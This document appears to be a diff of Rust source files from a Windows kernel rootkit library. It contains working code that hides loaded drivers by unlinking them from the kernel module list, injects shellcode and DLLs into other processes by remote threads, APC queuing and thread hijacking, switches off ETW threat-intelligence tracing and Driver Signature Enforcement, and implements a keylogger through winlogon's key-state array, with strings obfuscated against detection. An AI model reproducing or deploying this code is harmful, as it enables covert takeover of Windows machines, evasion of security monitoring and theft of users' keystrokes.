with_eresource_exclusive_lock(PsLoadedModuleResource, || {
let mut next = (*ldr_data).InLoadOrderLinks.Flink as *mut LIST_ENTRY;
// Iterate through the loaded module list to find the target driver
while next != list_entry {
let current = next as *mut LDR_DATA_TABLE_ENTRY;
// Convert the driver name from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts(
(*current).BaseDllName.Buffer,
((*current).BaseDllName.Length / 2) as usize,
);
// Check if the current driver matches the target driver
let name = String::from_utf16_lossy(buffer);
if name.contains(driver_name) {
// The next driver in the chain
let next = (*current).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
// The previous driver in the chain
let previous = (*current).InLoadOrderLinks.Blink as *mut LDR_DATA_TABLE_ENTRY;
// Storing the previous list entry, which will be returned
let previous_link = LIST_ENTRY {
Flink: next as *mut LIST_ENTRY,
Blink: previous as *mut LIST_ENTRY,
};
// Unlink the current driver
(*next).InLoadOrderLinks.Blink = previous as *mut LIST_ENTRY;
(*previous).InLoadOrderLinks.Flink = next as *mut LIST_ENTRY;
// Make the current driver point to itself to "hide" it
(*current).InLoadOrderLinks.Flink = current as *mut LIST_ENTRY;
(*current).InLoadOrderLinks.Blink = current as *mut LIST_ENTRY;
return Ok((previous_link, *current));
}
next = (*next).Flink;
}
// Return an error if the driver is not found
Err(ShadowError::DriverNotFound(driver_name.to_string()))
})
}
/// Unhides a previously hidden driver by restoring it to the `PsLoadedModuleList`.
///
/// # Arguments
///
/// * `driver_name` - The name of the driver to unhide.
/// * `list_entry` - A pointer to the `LIST_ENTRY` that was saved when the driver was hidden.
/// * `driver_entry` - A pointer to the `LDR_DATA_TABLE_ENTRY` of the hidden driver.
///
/// # Returns
///
/// If the driver is successfully restored to the list.
pub unsafe fn unhide_driver(
driver_name: &str,
list_entry: PLIST_ENTRY,
driver_entry: *mut LDR_DATA_TABLE_ENTRY,
) -> ShadowResult<NTSTATUS> {
with_eresource_exclusive_lock(PsLoadedModuleResource, || {
// Restore the driver's link pointers
(*driver_entry).InLoadOrderLinks.Flink = (*list_entry).Flink as *mut LIST_ENTRY;
(*driver_entry).InLoadOrderLinks.Blink = (*list_entry).Blink as *mut LIST_ENTRY;
// Link the driver back into the list
let next = (*driver_entry).InLoadOrderLinks.Flink;
let previous = (*driver_entry).InLoadOrderLinks.Blink;
(*next).Blink = driver_entry as *mut LIST_ENTRY;
(*previous).Flink = driver_entry as *mut LIST_ENTRY;
Ok(STATUS_SUCCESS)
})
}
/// Enumerates all drivers currently loaded in the kernel.
///
/// # Returns
///
/// A vector of [`DriverInfo`] structs.
pub unsafe fn enumerate_driver() -> ShadowResult<Vec<DriverInfo>> {
let mut drivers = Vec::with_capacity(276);
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
let ldr_data =
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
let current = ldr_data as *mut LIST_ENTRY;
with_eresource_shared_lock(PsLoadedModuleResource, || {
let mut next = (*ldr_data).InLoadOrderLinks.Flink;
let mut count = 0;
// Iterate over the list of loaded drivers
while next != current {
let ldr_data_entry = next as *mut LDR_DATA_TABLE_ENTRY;
// Get the driver name from the `BaseDllName` field, converting it from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts(
(*ldr_data_entry).BaseDllName.Buffer,
((*ldr_data_entry).BaseDllName.Length / 2) as usize,
);
// Prepare the name buffer, truncating if necessary to fit the 256-character limit
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
// Populates the `DriverInfo` structure with name, address, and index
drivers.push(DriverInfo {
name,
address: (*ldr_data_entry).DllBase as usize,
index: count as u8,
});
count += 1;
// Move to the next driver in the list
next = (*next).Flink;
}
Ok(drivers)
})
}
}

View File

@@ -0,0 +1,92 @@
use alloc::string::String;
use thiserror::Error;
pub type ShadowResult<T> = core::result::Result<T, ShadowError>;
#[derive(Debug, Error)]
pub enum ShadowError {
/// Represents an error where an API call failed.
#[error("{0} Failed With Status: {1}")]
ApiCallFailed(&'static str, i32),
/// Represents an error where a function execution failed at a specific line.
#[error("{0} function failed on the line: {1}")]
FunctionExecutionFailed(&'static str, u32),
/// Represents an error when an invalid memory access occurs.
#[error("Invalid memory access at address")]
InvalidMemory,
/// Error when a process with a specific identifier is not found.
#[error("Process with identifier {0} not found")]
ProcessNotFound(String),
/// Error when a thread with a specific TID is not found.
#[error("Thread with TID {0} not found")]
ThreadNotFound(usize),
/// Represents an invalid device request error.
#[error("Invalid Device Request")]
InvalidDeviceRequest,
/// Represents an error where a null pointer was encountered.
#[error("Pointer is null: {0}")]
NullPointer(&'static str),
/// Represents an error where a string conversion from a raw pointer failed.
#[error("Failed to convert string from raw pointer at {0}")]
StringConversionFailed(usize),
/// Represents an error where a specific module was not found.
#[error("Module {0} not found")]
ModuleNotFound(String),
/// Represents an error where a driver with a specific name was not found.
#[error("Driver {0} not found")]
DriverNotFound(String),
/// Represents an error where a pattern scan failed to locate a required pattern in memory.
#[error("Pattern not found")]
PatternNotFound,
/// Represents an error where a function could not be found in the specified module.
#[error("Function {0} not found in module")]
FunctionNotFound(String),
/// Represents an unknown failure in the system.
#[error("Unknown failure in {0}, at line {1}")]
UnknownFailure(&'static str, u32),
/// Represents an error when installing or uninstalling a hook on the Nsiproxy driver.
#[error("Error handling hook on Nsiproxy driver")]
HookFailure,
/// Represents an error when a buffer is too small to complete an operation.
#[error("Small buffer")]
BufferTooSmall,
/// Represents an error when a buffer is misaligned for the expected data structure.
#[error("Misaligned buffer")]
MisalignedBuffer,
/// Error indicating that a callback could not be found.
#[error("Error searching for the callback")]
CallbackNotFound,
/// Error indicating that a target with a specific index was not found.
#[error("Target not found with index: {0}")]
IndexNotFound(usize),
/// Error indicating that a failure occurred while removing a callback.
#[error("Error removing a callback")]
RemoveFailureCallback,
/// Represents an error when the process's active list entry is invalid,
/// such as when both the forward and backward pointers are null.
#[error("Invalid list entry encountered")]
InvalidListEntry,
/// Error indicating that a failure occurred while restoring a callback.
#[error("Error restoring a callback")]
RestoringFailureCallback,
}

View File

@@ -0,0 +1,667 @@
use core::{ffi::c_void, mem::transmute, ptr::null_mut};
use obfstr::obfstr as s;
use wdk_sys::{
ntddk::*,
_MODE::{KernelMode, UserMode},
*,
};
use crate::{attach::ProcessAttach, handle::Handle, pool::PoolMemory, *};
use crate::{
data::KAPC_ENVIROMENT::OriginalApcEnvironment,
error::{ShadowError, ShadowResult},
file::read_file,
patterns::{find_zw_function, LDR_SHELLCODE},
};
/// Represents shellcode injection operations.
pub struct Shellcode;
impl Shellcode {
/// Injects shellcode into a target process using `ZwCreateThreadEx`.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
/// * `path` - The file path to the shellcode to be injected, which will be read into memory.
///
/// # Returns
///
/// If the injection is successful.
pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
// Find the address of NtCreateThreadEx to create a thread in the target process
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))? as *mut c_void;
// Retrieve the EPROCESS structure for the target process
let target_eprocess = Process::new(pid)?;
// Open the target process with all access rights
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut obj_attr,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Read the shellcode from the provided file path
let shellcode = read_file(path)?;
// Allocate memory in the target process for the shellcode
let mut region_size = shellcode.len() as u64;
let mut base_address = null_mut();
status = ZwAllocateVirtualMemory(
h_process.get(),
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory",
status,
));
}
// Copy the shellcode into the allocated memory in the target process
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
shellcode.as_ptr().cast_mut().cast(),
target_eprocess.e_process,
base_address,
shellcode.len() as u64,
KernelMode as i8,
&mut result_number,
);
// Change the memory protection to allow execution of the shellcode
let mut old_protect = 0;
status = ZwProtectVirtualMemory(
h_process.get(),
&mut base_address,
&mut region_size,
PAGE_EXECUTE_READ,
&mut old_protect,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
}
// Create a thread in the target process to execute the shellcode
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExFn>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process.get(),
base_address,
null_mut(),
0,
0,
0,
0,
null_mut(),
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
}
// Close the thread handle after creation
ZwClose(h_thread);
Ok(status)
}
/// Injects shellcode into a target process using Asynchronous Procedure Call (APC).
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
/// * `path` - The file path to the shellcode that will be injected into the target process.
///
/// # Returns
///
/// If the injection is successful.
pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
// Read the shellcode from the provided file path
let shellcode = read_file(path)?;
// Find an alertable thread in the target process
let tid = find_thread_alertable(pid)?;
// Open the target process
let target_eprocess = Process::new(pid)?;
let mut h_process: HANDLE = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut obj_attr,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Allocate memory in the target process for the shellcode
let mut base_address = null_mut();
let mut region_size = shellcode.len() as u64;
status = ZwAllocateVirtualMemory(
h_process.get(),
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory",
status,
));
}
// Copy the shellcode into the target process's memory
let mut result_number = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
shellcode.as_ptr().cast_mut().cast(),
target_eprocess.e_process,
base_address,
shellcode.len() as u64,
KernelMode as i8,
&mut result_number,
);
// Change the memory protection to allow execution of the shellcode
let mut old_protect = 0;
status = ZwProtectVirtualMemory(
h_process.get(),
&mut base_address,
&mut region_size,
PAGE_EXECUTE_READ,
&mut old_protect,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status));
}
// Allocate memory for kernel and user APC objects
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, "krts")
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, "urds")
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Initialize the kernel APC
KeInitializeApc(
kernel_apc,
tid,
OriginalApcEnvironment,
kernel_apc_callback,
None,
None,
KernelMode as i8,
null_mut(),
);
// Initialize the user APC with the shellcode
KeInitializeApc(
user_apc,
tid,
OriginalApcEnvironment,
user_apc_callback,
None,
transmute(base_address),
UserMode as i8,
null_mut(),
);
// Insert the user APC into the queue
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::ApiCallFailed("KeInsertQueueApc", -1));
}
// Insert the kernel APC into the queue
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::ApiCallFailed("KeInsertQueueApc [2]", -1));
}
Ok(status)
}
/// Modifies the execution context of a target thread to inject and execute a payload.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected.
/// * `path` - The file path to the shellcode that will be injected into the target process.
///
/// # Returns
///
/// If the injection is successful.
pub unsafe fn thread_hijacking(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
// Retrieve the process handle from the given PID
let process = Process::new(pid)?;
let thread = find_thread(pid)?;
let buffer = read_file(path)?;
// Suspend the target process to ensure a stable environment
let mut status = PsSuspendProcess(process.e_process);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("PsSuspendProcess", status));
}
// Attach to the target process for memory manipulation
let mut attach = ProcessAttach::new(process.e_process);
// Allocate memory in the target process for the payload
let mut base_address = null_mut();
let mut region_size = buffer.len() as u64;
status = ZwAllocateVirtualMemory(
-1isize as HANDLE,
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory",
status,
));
}
// Copy the payload (BUFFER) into the allocated memory in the target process
core::ptr::copy_nonoverlapping(buffer.as_ptr(), base_address.cast(), region_size as usize);
// Allocate memory for the CONTEXT structure in the target process
let mut context_addr = null_mut();
let mut context_size = size_of::<CONTEXT>() as u64;
status = ZwAllocateVirtualMemory(
-1isize as HANDLE,
&mut context_addr,
0,
&mut context_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory [2]",
status,
));
}
// Interpret the allocated memory as a pointer to a CONTEXT structure
let context = context_addr as *mut CONTEXT;
// Initialize the CONTEXT structure with flags to capture full register state
(*context).ContextFlags = CONTEXT_FULL;
// Get the current context of the target thread
status = PsGetContextThread(thread, context, UserMode as i8);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("PsGetContextThread", status));
}
// Set the instruction pointer (Rip) to the address of the payload
(*context).Rip = base_address as u64;
// Update the thread's context with the modified CONTEXT structure
status = PsSetContextThread(thread, context, UserMode as i8);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("PsSetContextThread", status));
}
// Detach from the target process, finalizing modifications
attach.detach();
// Resume the process, allowing it to execute the modified context
status = PsResumeProcess(process.e_process);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("PsResumeProcess", status));
}
Ok(status)
}
}
/// Represents dll injection operations.
pub struct DLL;
impl DLL {
/// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the DLL will be injected.
/// * `path` - The file path to the DLL that will be injected.
///
/// # Returns
///
/// If the injection is successful.
pub unsafe fn thread(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
// Find the address of NtCreateThreadEx to create a thread in the target process
let zw_thread_addr = find_zw_function(s!("NtCreateThreadEx"))?;
// Find the address of LoadLibraryA in kernel32.dll
let load_library = get_function_peb(pid, s!("kernel32.dll"), s!("LoadLibraryA"))?;
// Open the target process
let mut h_process = null_mut();
let target_eprocess = Process::new(pid)?;
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut obj_attr,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Allocate memory in the target process for the DLL path
let mut base_address = null_mut();
let mut region_size = (path.len() * size_of::<u16>()) as u64;
status = ZwAllocateVirtualMemory(
h_process.get(),
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory",
status,
));
}
// Copy the DLL path into the target process's memory
let mut return_size = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
path.as_ptr().cast_mut().cast(),
target_eprocess.e_process,
base_address,
region_size,
KernelMode as i8,
&mut return_size,
);
// Create a thread in the target process to load the DLL
let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExFn>(zw_thread_addr);
let mut h_thread = null_mut();
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
status = ZwCreateThreadEx(
&mut h_thread,
THREAD_ALL_ACCESS,
&mut obj_attr,
h_process.get(),
load_library,
base_address,
0,
0,
0,
0,
null_mut(),
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status));
}
// Close the handle to the thread
ZwClose(h_thread);
Ok(status)
}
/// DLL Injection into a target process using Asynchronous Procedure Call (APC).
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process where the DLL will be injected.
/// * `path` - The file path to the DLL that will be injected into the target process.
///
/// # Returns
///
/// If the injection is successful.
pub unsafe fn apc(pid: usize, path: &str) -> ShadowResult<NTSTATUS> {
// Find an alertable thread in the target process
let tid = find_thread_alertable(pid)?;
// Find the address of LoadLibraryA in kernel32.dll
let load_library = get_function_peb(pid, s!("kernel32.dll"), s!("LoadLibraryA"))?;
// Open the target process
let mut h_process = null_mut();
let target_eprocess = Process::new(pid)?;
let mut client_id = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: null_mut(),
};
let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None);
let mut status = ZwOpenProcess(
&mut h_process,
PROCESS_ALL_ACCESS,
&mut obj_attr,
&mut client_id,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
}
// Wrap the process handle in a safe Handle type
let h_process = Handle::new(h_process);
// Allocate memory in the target process for the DLL path
let mut base_address = null_mut();
let mut region_size = (path.len() * size_of::<u16>()) as u64;
status = ZwAllocateVirtualMemory(
h_process.get(),
&mut base_address,
0,
&mut region_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory",
status,
));
}
// Copy the DLL path into the target process's memory
let mut return_size = 0;
MmCopyVirtualMemory(
IoGetCurrentProcess(),
path.as_ptr().cast_mut().cast(),
target_eprocess.e_process,
base_address,
region_size,
KernelMode as i8,
&mut return_size,
);
// Allocate memory for shellcode
let mut shellcode_address = null_mut();
let mut shellcode_size = LDR_SHELLCODE.len() as u64;
status = ZwAllocateVirtualMemory(
h_process.get(),
&mut shellcode_address,
0,
&mut shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwAllocateVirtualMemory [2]",
status,
));
}
LDR_SHELLCODE[6..14].copy_from_slice(&(load_library as usize).to_le_bytes());
LDR_SHELLCODE[16..24].copy_from_slice(&(base_address as usize).to_le_bytes());
MmCopyVirtualMemory(
IoGetCurrentProcess(),
LDR_SHELLCODE.as_ptr().cast_mut().cast(),
target_eprocess.e_process,
shellcode_address,
shellcode_size,
KernelMode as i8,
&mut return_size,
);
// Allocate memory for kernel and user APC objects
let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, "krts")
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<KAPC>() as u64, "urds")
.map(|mem: PoolMemory| {
let ptr = mem.ptr as *mut _KAPC;
core::mem::forget(mem);
ptr
})
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Initialize the kernel APC
KeInitializeApc(
kernel_apc,
tid,
OriginalApcEnvironment,
kernel_apc_callback,
None,
None,
KernelMode as i8,
null_mut(),
);
// Initialize the user APC with the shellcode
KeInitializeApc(
user_apc,
tid,
OriginalApcEnvironment,
user_apc_callback,
None,
transmute(shellcode_address),
UserMode as i8,
null_mut(),
);
// Insert the user APC into the queue
if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::ApiCallFailed("KeInsertQueueApc", -1));
}
// Insert the kernel APC into the queue
if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) {
return Err(ShadowError::ApiCallFailed("KeInsertQueueApc [2]", -1));
}
Ok(STATUS_SUCCESS)
}
}
/// Kernel APC callback function.
///
/// This callback is triggered when the kernel APC is executed.
/// It ensures that the thread is alertable and then frees the allocated APC structure.
unsafe extern "system" fn kernel_apc_callback(
apc: PKAPC,
_normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID,
) {
// Ensure the thread is alertable in user mode
KeTestAlertThread(UserMode as i8);
// Free the APC object
ExFreePool(apc.cast())
}
/// User APC callback function.
///
/// This callback is triggered when the user APC is executed.
/// It checks if the thread is terminating and frees the APC structure when done.
unsafe extern "system" fn user_apc_callback(
apc: PKAPC,
normal_routine: *mut PKNORMAL_ROUTINE,
_normal_context: *mut PVOID,
_system_argument1: *mut PVOID,
_system_argument2: *mut PVOID,
) {
// Check if the current thread is terminating and prevent the shellcode from executing
if PsIsThreadTerminating(PsGetCurrentThread()) == 1 {
*normal_routine = None;
}
// Free the APC object
ExFreePool(apc.cast())
}

View File

@@ -0,0 +1,42 @@
//! Kernel-Level Utilities Library
#![no_std]
#![allow(unused_must_use)]
#![allow(unused_variables)]
#![allow(static_mut_refs)]
#![allow(non_snake_case)]
extern crate alloc;
/// Port communication utilities.
pub mod network;
/// Error handling utilities.
pub mod error;
/// Registry manipulation utilities.
pub mod registry;
/// Kernel callback management.
pub mod callback;
mod data;
mod driver;
mod injection;
mod misc;
mod module;
mod offsets;
mod process;
mod thread;
mod utils;
pub use data::*;
pub use driver::*;
pub use injection::*;
pub use misc::*;
pub use module::*;
pub use network::*;
pub use process::*;
pub use registry::*;
pub use thread::*;
pub use utils::*;

View File

@@ -0,0 +1,162 @@
use core::{ffi::c_void, ptr::null_mut};
use obfstr::obfstr;
use wdk_sys::{
ntddk::*, _MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::NormalPagePriority,
_MODE::UserMode, *,
};
use crate::*;
use crate::{
address::{get_function_address, get_module_base_address},
patterns::{scan_for_pattern, ETWTI_PATTERN},
};
use crate::{
attach::ProcessAttach,
error::{ShadowError, ShadowResult},
};
/// Represents ETW (Event Tracing for Windows) in the operating system.
pub struct Etw;
impl Etw {
/// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure.
///
/// # Arguments
///
/// * `enable` - A boolean flag indicating whether to enable or disable ETW tracing.
///
/// # Returns
///
/// If the operation is successful.
pub unsafe fn etwti_enable_disable(enable: bool) -> ShadowResult<NTSTATUS> {
// Convert function name to Unicode string for lookup
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
// Get the system routine address for the function
let function_address = MmGetSystemRoutineAddress(&mut function_name);
// Scan for the ETWTI structure using a predefined pattern
let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?;
// Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
(*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 };
Ok(STATUS_SUCCESS)
}
}
/// Represents Driver Signature Enforcement (DSE) in the operating system.
pub struct Dse;
impl Dse {
/// Modifies the Driver Signature Enforcement (DSE) state.
///
/// # Arguments
///
/// * `enable` - A boolean flag indicating whether to enable or disable DSE.
///
/// # Returns
///
/// If the operation is successful.
pub unsafe fn set_dse_state(enable: bool) -> ShadowResult<NTSTATUS> {
// Get the base address of the CI.dll module, where the relevant function resides
let module_address = get_module_base_address(obfstr!("CI.dll"))?;
// Get the address of the CiInitialize function within CI.dll
let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?;
// Search for the memory pattern that represents the initialization of DSE
let instructions = [0x8B, 0xCD];
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?;
// Locate the g_ciOptions structure based on a pattern in the CiInitialize function
let instructions = [0x49, 0x8b, 0xE9];
let g_ci_options = scan_for_pattern(c_ip_initialize.cast(), &instructions, 5, 9, 0x21)?;
// Modify g_ciOptions to either enable or disable DSE based on the input flag
if enable {
*(g_ci_options as *mut u64) = 0x0006_u64;
} else {
*(g_ci_options as *mut u64) = 0x000E_u64;
}
Ok(STATUS_SUCCESS)
}
}
/// Represents keylogger operations in the system.
pub struct Keylogger;
impl Keylogger {
/// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode.
///
/// # Returns
///
/// If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`.
pub unsafe fn get_user_address_keylogger() -> ShadowResult<*mut c_void> {
// Get the PID of winlogon.exe
let pid = get_process_by_name(obfstr!("winlogon.exe"))?;
// Attach to the winlogon.exe process
let winlogon_process = Process::new(pid)?;
let attach_process = ProcessAttach::new(winlogon_process.e_process);
// Retrieve the address of gafAsyncKeyState
let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?;
// Allocate an MDL (Memory Descriptor List) to manage the memory
let mdl = IoAllocateMdl(
gaf_async_key_state_address.cast(),
size_of::<[u8; 64]>() as u32,
0,
0,
null_mut(),
);
if mdl.is_null() {
return Err(ShadowError::ApiCallFailed("IoAllocateMdl", -1));
}
// Build the MDL for the non-paged pool
MmBuildMdlForNonPagedPool(mdl);
// Map the locked pages into user-mode address space
let address = MmMapLockedPagesSpecifyCache(
mdl,
UserMode as i8,
MmCached,
null_mut(),
0,
NormalPagePriority as u32,
);
if address.is_null() {
IoFreeMdl(mdl);
return Err(ShadowError::ApiCallFailed(
"MmMapLockedPagesSpecifyCache",
-1,
));
}
Ok(address)
}
/// Retrieves the address of the `gafAsyncKeyState` array.
///
/// # Returns
///
/// Returns a pointer to the `gafAsyncKeyState` array if found.
unsafe fn get_gafasynckeystate_address() -> ShadowResult<*mut u8> {
// Get the base address of win32kbase.sys
let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?;
// Get the address of the NtUserGetAsyncKeyState function
let function_address =
get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?;
// Search for the pattern that identifies the gafAsyncKeyState array
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
let pattern = [0x48, 0x8B, 0x05];
scan_for_pattern(function_address, &pattern, 3, 7, 0x200)
}
}

View File

@@ -0,0 +1,284 @@
use alloc::{string::String, vec::Vec};
use wdk_sys::{FILE_OBJECT, NTSTATUS, RTL_BALANCED_NODE, STATUS_SUCCESS};
use crate::data::{PsGetProcessPeb, LDR_DATA_TABLE_ENTRY, MMVAD, MMVAD_SHORT, PEB};
use crate::{
error::{ShadowError, ShadowResult},
offsets::get_vad_root,
process::Process,
utils::attach::ProcessAttach,
};
/// Represents a module in the operating system.
pub struct Module;
impl Module {
/// VAD Type for an image map.
const VAD_IMAGE_MAP: u32 = 2;
/// Enumerates modules in a given target process.
///
/// # Arguments
///
/// * `pid` - The process ID of the target process.
///
/// # Returns
///
/// * `Ok(Vec<ModuleInfo>)` - A list of loaded modules if enumeration is successful.
/// * `Err(ShadowError)` - An error if module enumeration fails.
pub unsafe fn enumerate_module(pid: usize) -> ShadowResult<Vec<ModuleInfo>> {
let mut modules = Vec::with_capacity(276);
// Attaches the target process to the current context
let target = Process::new(pid)?;
let mut attach_process = ProcessAttach::new(target.e_process);
// Gets the PEB (Process Environment Block) of the target process
let peb = PsGetProcessPeb(target.e_process) as *mut PEB;
if peb.is_null() || (*peb).Ldr.is_null() {
return Err(ShadowError::ApiCallFailed("PsGetProcessPeb", -1));
}
// Enumerates the loaded modules from the InLoadOrderModuleList
let current = &mut (*(*peb).Ldr).InLoadOrderModuleList as *mut wdk_sys::LIST_ENTRY;
let mut next = (*(*peb).Ldr).InLoadOrderModuleList.Flink;
let mut count = 0;
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("LIST_ENTRY"));
}
let list_entry = next as *mut LDR_DATA_TABLE_ENTRY;
if list_entry.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
// Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string
let buffer = core::slice::from_raw_parts(
(*list_entry).FullDllName.Buffer,
((*list_entry).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() {
return Err(ShadowError::StringConversionFailed(
(*list_entry).FullDllName.Buffer as usize,
));
}
let mut name = [0u16; 256];
